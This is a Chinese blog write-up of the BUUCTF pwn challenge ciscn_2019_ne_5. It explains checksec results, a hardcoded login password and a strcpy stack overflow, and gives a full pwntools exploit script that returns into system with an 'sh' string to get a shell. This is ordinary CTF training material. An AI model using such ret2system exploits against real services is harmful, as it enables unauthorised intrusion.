BUUCTF 刷题 ciscn_2019_ne_5

先附上题目地址:BUUCTF在线评测

首当其冲checksec,开启了NX保护,32位程序。

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

还是蛮有意思的一道题,我的IDA有些问题,无法f5主函数,那么就看汇编。我先运行了一下题目,发现要我们输入一个密码,但是我们并不知道密码是什么。通过汇编发现密码是administrator。然后就是提示界面搞了0123四个选项,还有一个4选项可以运行getflag函数,这里有一个strcpy可以用来栈溢出。其中有system函数有puts,所以刚开始想的是没有/bin/sh的ret2libc。不过在我libcsearcher一番操作后发现打不通。于是在gdb里用find sh cis试了一下果然有sh的地址,只不过IDA里看不到。于是就是一个常规的栈溢出了。

from pwn import *
from LibcSearcher import *

def recvui():
    for i in range(5):
        r.recvline()
    r.recvuntil(':')

context(os = 'linux',arch = 'i386')
r = process('./cis')
#r = remote('node4.buuoj.cn','25598')
elf = ELF('./cis')

sh = 0x80482ea
system = 0x080484D0


r.recvuntil(':')
r.sendline('administrator')

recvui()
r.sendline('1')
r.recvuntil(':')
payload = 'a'*76+p32(system)+'bbbb'+p32(sh)
r.sendline(payload)

recvui()
r.sendline('4')

r.interactive()

这几天感觉做题越来越上道了,果然师傅说的基础还是有用,打好基础最重要了。 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello Sally

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值